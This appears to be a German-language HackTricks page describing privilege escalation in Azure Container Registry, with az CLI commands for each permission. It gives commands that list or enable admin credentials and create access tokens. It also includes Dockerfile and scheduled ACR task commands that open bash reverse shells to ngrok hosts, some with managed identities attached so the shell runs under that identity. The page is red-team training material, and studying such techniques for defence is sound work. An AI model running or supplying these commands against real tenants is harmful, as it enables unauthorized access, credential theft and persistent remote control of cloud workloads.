Az - Azure Container Registry Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure Container Registry
Für weitere Informationen siehe:
Microsoft.ContainerRegistry/registries/listCredentials/action
Diese Berechtigung ermöglicht es dem Benutzer, die Admin-Anmeldeinformationen des ACR aufzulisten. Dies ist nützlich, um vollständigen Zugriff auf das Registry zu erhalten.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Falls die Admin-Anmeldeinformationen nicht aktiviert sind, benötigen Sie auch die Berechtigung Microsoft.ContainerRegistry/registries/write
, um sie mit folgendem Befehl zu aktivieren:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
Diese Berechtigungen ermöglichen es dem Benutzer, ein neues Token mit Passwörtern zum Zugriff auf das Registry zu erstellen.
Um das az cli
wie im folgenden Beispiel zu verwenden, benötigen Sie auch die Berechtigungen Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Diese Berechtigungen ermöglichen es dem Benutzer, ein Image zu erstellen und auszuführen im Registry. Dies kann verwendet werden, um Code im Container auszuführen.
[!WARNING] Allerdings wird das Image in einer sandboxed environment und ohne Zugriff auf den Metadatenservice ausgeführt. Das bedeutet, dass der Container keinen Zugriff auf die Instanzmetadaten hat, sodass dies nicht wirklich nützlich ist, um Privilegien zu eskalieren.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Dies ist die Hauptberechtigung, die es ermöglicht, eine Aufgabe im Registry zu erstellen und zu aktualisieren. Dies kann verwendet werden, um Code innerhalb eines Containers mit einer angehängten verwalteten Identität im Container auszuführen.
Dies ist das Beispiel, wie man eine Reverse-Shell in einem Container mit der systemverwalteten Identität ausführt:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Eine weitere Möglichkeit, um eine RCE von einer Aufgabe zu erhalten, ohne ein externes Repository zu verwenden, besteht darin, den Befehl az acr task create
mit dem Flag --cmd
zu verwenden. Dies ermöglicht es Ihnen, einen Befehl im Container auszuführen. Zum Beispiel können Sie mit folgendem Befehl eine Reverse-Shell ausführen:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
Beachten Sie, dass Sie zum Zuweisen der systemverwalteten Identität keine speziellen Berechtigungen benötigen, obwohl sie zuvor im Container-Registry aktiviert und einige Berechtigungen zugewiesen worden sein muss, damit sie nützlich ist.
Um auch eine benutzerverwaltete Identität zuzuweisen, benötigen Sie die Berechtigung Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, um Folgendes zu tun:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Um das Repo einer bestehenden Aufgabe zu aktualisieren, kannst du Folgendes tun:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Mit dieser Berechtigung ist es möglich, ein Bild in das Azure-Registry zu importieren, selbst wenn das Bild nicht lokal vorhanden ist. Beachten Sie jedoch, dass Sie kein Bild mit einem Tag importieren können, der bereits im Registry vorhanden ist.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Um ein bestimmtes Image-Tag aus dem Registry zu entfernen oder zu löschen, können Sie den folgenden Befehl verwenden. Beachten Sie jedoch, dass Sie einen Benutzer oder Token mit ausreichenden Berechtigungen benötigen, um dies zu tun:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.